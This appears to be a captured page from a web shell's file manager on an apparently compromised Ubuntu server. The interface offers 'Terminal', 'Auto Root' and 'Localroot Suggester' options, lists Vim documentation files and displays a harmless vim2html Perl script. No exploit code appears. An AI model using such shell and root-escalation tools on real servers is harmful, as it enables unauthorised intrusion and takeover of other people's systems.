Linux anchor 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
Apache/2.4.18 (Ubuntu)
Server IP : 10.10.100.4 & Your IP : 216.73.217.150
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
vim /
vim74 /
doc /
Delete
Unzip
Name
Size
Permission
Date
Action
README.Debian
324
B
-rw-r--r--
2016-04-03 15:25
arabic.txt
11.66
KB
-rw-r--r--
2020-10-14 14:58
autocmd.txt
58.56
KB
-rw-r--r--
2020-10-14 14:58
change.txt
73.05
KB
-rw-r--r--
2020-10-14 14:58
channel.txt
25.56
KB
-rw-r--r--
2020-10-14 14:58
cmdline.txt
44.92
KB
-rw-r--r--
2020-10-14 14:58
debug.txt
7.01
KB
-rw-r--r--
2020-10-14 14:58
debugger.txt
5.51
KB
-rw-r--r--
2020-10-14 14:58
develop.txt
20.61
KB
-rw-r--r--
2020-10-14 14:58
diff.txt
15.98
KB
-rw-r--r--
2020-10-14 14:58
digraph.txt
60.63
KB
-rw-r--r--
2020-10-14 14:58
editing.txt
70.81
KB
-rw-r--r--
2020-10-14 14:58
eval.txt
369.7
KB
-rw-r--r--
2020-10-14 14:58
farsi.txt
9.48
KB
-rw-r--r--
2020-10-14 14:58
filetype.txt
23.52
KB
-rw-r--r--
2020-10-14 14:58
fold.txt
23.14
KB
-rw-r--r--
2020-10-14 14:58
ft_ada.txt
17.82
KB
-rw-r--r--
2020-10-14 14:58
ft_sql.txt
29.97
KB
-rw-r--r--
2020-10-14 14:58
gui.txt
42.2
KB
-rw-r--r--
2020-10-14 14:58
gui_w32.txt
20.86
KB
-rw-r--r--
2020-10-14 14:58
gui_x11.txt
25.52
KB
-rw-r--r--
2020-10-14 14:58
hangulin.txt
3.21
KB
-rw-r--r--
2020-10-14 14:58
hebrew.txt
5.58
KB
-rw-r--r--
2020-10-14 14:58
help.txt
8.13
KB
-rw-r--r--
2020-10-14 14:58
help.txt.vim-tiny
1.4
KB
-rw-r--r--
2016-04-03 15:25
helphelp.txt
13.66
KB
-rw-r--r--
2020-10-14 14:58
howto.txt
2.84
KB
-rw-r--r--
2020-10-14 14:58
if_cscop.txt
19.44
KB
-rw-r--r--
2020-10-14 14:58
if_lua.txt
14.17
KB
-rw-r--r--
2020-10-14 14:58
if_mzsch.txt
11.28
KB
-rw-r--r--
2020-10-14 14:58
if_ole.txt
7.23
KB
-rw-r--r--
2020-10-14 14:58
if_perl.txt
10.83
KB
-rw-r--r--
2020-10-14 14:58
if_pyth.txt
31.34
KB
-rw-r--r--
2020-10-14 14:58
if_ruby.txt
7.77
KB
-rw-r--r--
2020-10-14 14:58
if_sniff.txt
266
B
-rw-r--r--
2020-10-14 14:58
if_tcl.txt
22.42
KB
-rw-r--r--
2020-10-14 14:58
indent.txt
38.01
KB
-rw-r--r--
2020-10-14 14:58
index.txt
73.15
KB
-rw-r--r--
2020-10-14 14:58
insert.txt
80.87
KB
-rw-r--r--
2020-10-14 14:58
intro.txt
37.29
KB
-rw-r--r--
2020-10-14 14:58
map.txt
61.29
KB
-rw-r--r--
2020-10-14 14:58
mbyte.txt
56.9
KB
-rw-r--r--
2020-10-14 14:58
message.txt
29.78
KB
-rw-r--r--
2020-10-14 14:58
mlang.txt
7.63
KB
-rw-r--r--
2020-10-14 14:58
motion.txt
49.9
KB
-rw-r--r--
2020-10-14 14:58
netbeans.txt
36.09
KB
-rw-r--r--
2020-10-14 14:58
options.txt
357.49
KB
-rw-r--r--
2020-10-14 14:58
os_390.txt
4.64
KB
-rw-r--r--
2020-10-14 14:58
os_amiga.txt
5.33
KB
-rw-r--r--
2020-10-14 14:58
os_beos.txt
10.73
KB
-rw-r--r--
2020-10-14 14:58
os_dos.txt
11.74
KB
-rw-r--r--
2020-10-14 14:58
os_mac.txt
3.95
KB
-rw-r--r--
2020-10-14 14:58
os_mint.txt
1.37
KB
-rw-r--r--
2020-10-14 14:58
os_msdos.txt
518
B
-rw-r--r--
2020-10-14 14:58
os_os2.txt
294
B
-rw-r--r--
2020-10-14 14:58
os_qnx.txt
3.98
KB
-rw-r--r--
2020-10-14 14:58
os_risc.txt
323
B
-rw-r--r--
2020-10-14 14:58
os_unix.txt
2.53
KB
-rw-r--r--
2020-10-14 14:58
os_vms.txt
31.35
KB
-rw-r--r--
2020-10-14 14:58
os_win32.txt
18.52
KB
-rw-r--r--
2020-10-14 14:58
pattern.txt
56.77
KB
-rw-r--r--
2020-10-14 14:58
pi_getscript.txt
20.58
KB
-rw-r--r--
2020-10-14 14:58
pi_gzip.txt
1.27
KB
-rw-r--r--
2020-10-14 14:58
pi_logipat.txt
3.99
KB
-rw-r--r--
2020-10-14 14:58
pi_netrw.txt
162.41
KB
-rw-r--r--
2020-10-14 14:58
pi_paren.txt
2.22
KB
-rw-r--r--
2020-10-14 14:58
pi_spec.txt
4.03
KB
-rw-r--r--
2020-10-14 14:58
pi_tar.txt
6.5
KB
-rw-r--r--
2020-10-14 14:58
pi_vimball.txt
11.37
KB
-rw-r--r--
2020-10-14 14:58
pi_zip.txt
5.7
KB
-rw-r--r--
2020-10-14 14:58
print.txt
30.43
KB
-rw-r--r--
2020-10-14 14:58
quickfix.txt
61.55
KB
-rw-r--r--
2020-10-14 14:58
quickref.txt
68.33
KB
-rw-r--r--
2020-10-14 14:58
quotes.txt
12.44
KB
-rw-r--r--
2020-10-14 14:58
recover.txt
10.44
KB
-rw-r--r--
2020-10-14 14:58
remote.txt
8.09
KB
-rw-r--r--
2020-10-14 14:58
repeat.txt
36.08
KB
-rw-r--r--
2020-10-14 14:58
rileft.txt
4.86
KB
-rw-r--r--
2020-10-14 14:58
russian.txt
3.02
KB
-rw-r--r--
2020-10-14 14:58
scroll.txt
13.65
KB
-rw-r--r--
2020-10-14 14:58
sign.txt
6.61
KB
-rw-r--r--
2020-10-14 14:58
spell.txt
61.28
KB
-rw-r--r--
2020-10-14 14:58
sponsor.txt
7.03
KB
-rw-r--r--
2020-10-14 14:58
starting.txt
67.83
KB
-rw-r--r--
2020-10-14 14:58
syntax.txt
208.72
KB
-rw-r--r--
2020-10-14 14:58
tabpage.txt
14.95
KB
-rw-r--r--
2020-10-14 14:58
tags
301.97
KB
-rw-r--r--
2020-10-14 14:58
tags.vim-tiny
30
B
-rw-r--r--
2016-04-03 15:25
tagsrch.txt
35.4
KB
-rw-r--r--
2020-10-14 14:58
term.txt
40.58
KB
-rw-r--r--
2020-10-14 14:58
tips.txt
20.07
KB
-rw-r--r--
2020-10-14 14:58
todo.txt
280.18
KB
-rw-r--r--
2020-10-14 14:58
uganda.txt
13.7
KB
-rw-r--r--
2020-10-14 14:58
undo.txt
16.15
KB
-rw-r--r--
2020-10-14 14:58
usr_01.txt
6.93
KB
-rw-r--r--
2020-10-14 14:58
usr_02.txt
23.77
KB
-rw-r--r--
2020-10-14 14:58
usr_03.txt
23.05
KB
-rw-r--r--
2020-10-14 14:58
usr_04.txt
18.63
KB
-rw-r--r--
2020-10-14 14:58
usr_05.txt
23.02
KB
-rw-r--r--
2020-10-14 14:58
usr_06.txt
9.36
KB
-rw-r--r--
2020-10-14 14:58
usr_07.txt
15.6
KB
-rw-r--r--
2020-10-14 14:58
usr_08.txt
18.92
KB
-rw-r--r--
2020-10-14 14:58
usr_09.txt
11.18
KB
-rw-r--r--
2020-10-14 14:58
usr_10.txt
28.5
KB
-rw-r--r--
2020-10-14 14:58
usr_11.txt
12.32
KB
-rw-r--r--
2020-10-14 14:58
usr_12.txt
13.1
KB
-rw-r--r--
2020-10-14 14:58
usr_20.txt
13.38
KB
-rw-r--r--
2020-10-14 14:58
usr_21.txt
17.94
KB
-rw-r--r--
2020-10-14 14:58
usr_22.txt
13.96
KB
-rw-r--r--
2020-10-14 14:58
usr_23.txt
12.29
KB
-rw-r--r--
2020-10-14 14:58
usr_24.txt
20.36
KB
-rw-r--r--
2020-10-14 14:58
usr_25.txt
18.67
KB
-rw-r--r--
2020-10-14 14:58
usr_26.txt
8.06
KB
-rw-r--r--
2020-10-14 14:58
usr_27.txt
17.31
KB
-rw-r--r--
2020-10-14 14:58
usr_28.txt
15.64
KB
-rw-r--r--
2020-10-14 14:58
usr_29.txt
19.64
KB
-rw-r--r--
2020-10-14 14:58
usr_30.txt
22.13
KB
-rw-r--r--
2020-10-14 14:58
usr_31.txt
10.15
KB
-rw-r--r--
2020-10-14 14:58
usr_32.txt
5.25
KB
-rw-r--r--
2020-10-14 14:58
usr_40.txt
22.64
KB
-rw-r--r--
2020-10-14 14:58
usr_41.txt
83.01
KB
-rw-r--r--
2020-10-14 14:58
usr_42.txt
13.47
KB
-rw-r--r--
2020-10-14 14:58
usr_43.txt
7.23
KB
-rw-r--r--
2020-10-14 14:58
usr_44.txt
28.49
KB
-rw-r--r--
2020-10-14 14:58
usr_45.txt
17.49
KB
-rw-r--r--
2020-10-14 14:58
usr_90.txt
17.25
KB
-rw-r--r--
2020-10-14 14:58
usr_toc.txt
9
KB
-rw-r--r--
2020-10-14 14:58
various.txt
26.28
KB
-rw-r--r--
2020-10-14 14:58
version4.txt
13.58
KB
-rw-r--r--
2020-10-14 14:58
version5.txt
301.31
KB
-rw-r--r--
2020-10-14 14:58
version6.txt
563.52
KB
-rw-r--r--
2020-10-14 14:58
version7.txt
658.99
KB
-rw-r--r--
2020-10-14 14:58
vi_diff.txt
41.2
KB
-rw-r--r--
2020-10-14 14:58
vim2html.pl
4.41
KB
-rwxr-xr-x
2020-10-14 14:58
visual.txt
21.22
KB
-rw-r--r--
2020-10-14 14:58
windows.txt
50.6
KB
-rw-r--r--
2020-10-14 14:58
workshop.txt
4.52
KB
-rw-r--r--
2020-10-14 14:58
Save
Rename
#!/usr/bin/env perl # converts vim documentation to simple html # Sirtaj Singh Kang (taj@kde.org) # Sun Feb 24 14:49:17 CET 2002 use strict; use vars qw/%url $date/; %url = (); $date = `date`; chop $date; sub maplink { my $tag = shift; if( exists $url{ $tag } ){ return $url{ $tag }; } else { #warn "Unknown hyperlink target: $tag\n"; $tag =~ s/\.txt//; $tag =~ s/</</g; $tag =~ s/>/>/g; return "<code class=\"badlink\">$tag</code>"; } } sub readTagFile { my($tagfile) = @_; my( $tag, $file, $name ); open(TAGS,"$tagfile") || die "can't read tags\n"; while( <TAGS> ) { next unless /^(\S+)\s+(\S+)\s+/; $tag = $1; my $label = $tag; ($file= $2) =~ s/.txt$/.html/g; $label =~ s/\.txt//; $url{ $tag } = "<a href=\"$file#".escurl($tag)."\">".esctext($label)."</a>"; } close( TAGS ); } sub esctext { my $text = shift; $text =~ s/&/&/g; $text =~ s/</</g; $text =~ s/>/>/g; return $text; } sub escurl { my $url = shift; $url =~ s/"/%22/g; $url =~ s/~/%7E/g; $url =~ s/</%3C/g; $url =~ s/>/%3E/g; $url =~ s/=/%20/g; $url =~ s/#/%23/g; $url =~ s/\//%2F/g; return $url; } sub vim2html { my( $infile ) = @_; my( $outfile ); open(IN, "$infile" ) || die "Couldn't read from $infile: $!.\n"; ($outfile = $infile) =~ s:.*/::g; $outfile =~ s/\.txt$//g; open( OUT, ">$outfile.html" ) || die "Couldn't write to $outfile.html: $!.\n"; my $head = uc( $outfile ); print OUT<<EOF; <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>VIM: $outfile</title> <link rel="stylesheet" href="vim-stylesheet.css" type="text/css"> </head> <body> <h2>$head</h2> <pre> EOF my $inexample = 0; while( <IN> ) { chop; if ( /^\s*[-=]+\s*$/ ) { print OUT "</pre><hr><pre>"; next; } # examples elsif( /^>$/ || /\s>$/ ) { $inexample = 1; chop; } elsif ( $inexample && /^([<\S])/ ) { $inexample = 0; $_ = $' if $1 eq "<"; } s/\s+$//g; # Various vim highlights. note that < and > have already been escaped # so that HTML doesn't get screwed up. my @out = (); # print "Text: $_\n"; LOOP: foreach my $token ( split /((?:\|[^\|]+\|)|(?:\*[^\*]+\*))/ ) { if ( $token =~ /^\|([^\|]+)\|/ ) { # link push( @out, "|".maplink( $1 )."|" ); next LOOP; } elsif ( $token =~ /^\*([^\*]+)\*/ ) { # target push( @out, "<b class=\"vimtag\">\*<a name=\"".escurl($1)."\">".esctext($1)."<\/a>\*<\/b>"); next LOOP; } $_ = esctext($token); s/CTRL-(\w+)/<code class="keystroke">CTRL-$1<\/code>/g; # parameter <...> s/<(.*?)>/<code class="special"><$1><\/code>/g; # parameter {...} s/\{([^}]*)\}/<code class="special">{$1}<\/code>/g; # parameter [...] s/\[(range|line|count|offset|cmd|[-+]?num)\]/<code class="special">\[$1\]<\/code>/g; # note s/(Note:?)/<code class="note">$1<\/code>/gi; # local heading s/^(.*)\~$/<code class="section">$1<\/code>/g; push( @out, $_ ); } $_ = join( "", @out ); if( $inexample == 2 ) { print OUT "<code class=\"example\">$_</code>\n"; } else { print OUT $_,"\n"; } $inexample = 2 if $inexample == 1; } print OUT<<EOF; </pre> <p><i>Generated by vim2html on $date</i></p> </body> </html> EOF } sub usage { die<<EOF; vim2html.pl: converts vim documentation to HTML. usage: vim2html.pl <tag file> <text files> EOF } sub writeCSS { open( CSS, ">vim-stylesheet.css" ) || die "Couldn't write stylesheet: $!\n"; print CSS<<EOF; body { background-color: white; color: black;} :link { color: rgb(0,137,139); } :visited { color: rgb(0,100,100); background-color: white; /* should be inherit */ } :active { color: rgb(0,200,200); background-color: white; /* should be inherit */ } B.vimtag { color : rgb(250,0,250); } h1, h2 { color: rgb(82,80,82); text-align: center; } h3, h4, h5, h6 { color: rgb(82,80,82); } .headline { color: rgb(0,137,139); } .header { color: rgb(164, 32, 246); } .section { color: rgb(164, 32, 246); } .keystroke { color: rgb(106, 89, 205); } .vim { } .example { color: rgb(0, 0, 255); } .option { } .notvi { } .special { color: rgb(106, 89, 205); } .note { color: blue; background-color: yellow; } .sub {} .badlink { color: rgb(0,37,39); } EOF } # main usage() if $#ARGV < 1; print "Processing tags...\n"; readTagFile( $ARGV[ 0 ] ); foreach my $file ( 1..$#ARGV ) { print "Processing ".$ARGV[ $file ]."...\n"; vim2html( $ARGV[ $file ] ); } print "Writing stylesheet...\n"; writeCSS(); print "done.\n"